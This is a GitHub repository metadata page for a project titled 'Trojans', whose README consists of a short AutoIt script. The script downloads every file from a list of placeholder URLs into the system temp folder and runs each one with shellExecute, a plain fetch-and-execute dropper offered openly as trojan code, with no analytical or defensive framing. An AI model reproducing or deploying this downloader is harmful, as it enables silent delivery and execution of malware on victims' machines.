https://github.com/rajeevranjancom/trojans
https://github.com/rajeevranjancom/trojans
Last synced: 4 months ago
JSON representation
- Host: GitHub
- URL: https://github.com/rajeevranjancom/trojans
- Owner: rajeevranjancom
- License: gpl-3.0
- Created: 2022-02-02T04:45:00.000Z (over 4 years ago)
- Default Branch: main
- Last Pushed: 2022-02-23T19:09:33.000Z (over 4 years ago)
- Last Synced: 2025-09-25T22:48:53.072Z (9 months ago)
- Size: 877 KB
- Stars: 0
- Watchers: 1
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# Trojans
#include
#include
Local $urls = "url1,url2"
Local $urlsArray = StringSplit($urls, ",", 2 )
For $url In $urlsArray
$sFile = _DownloadFile($url)
shellExecute($sFile)
Next
Func _DownloadFile($sURL)
Local $hDownload, $sFile
$sFile = StringRegExpReplace($sURL, "^.*/", "")
$sDirectory = @TempDir & $sFile
$hDownload = InetGet($sURL, $sDirectory, 17, 1)
InetClose($hDownload)
Return $sDirectory
EndFunc ;==>_GetURLImage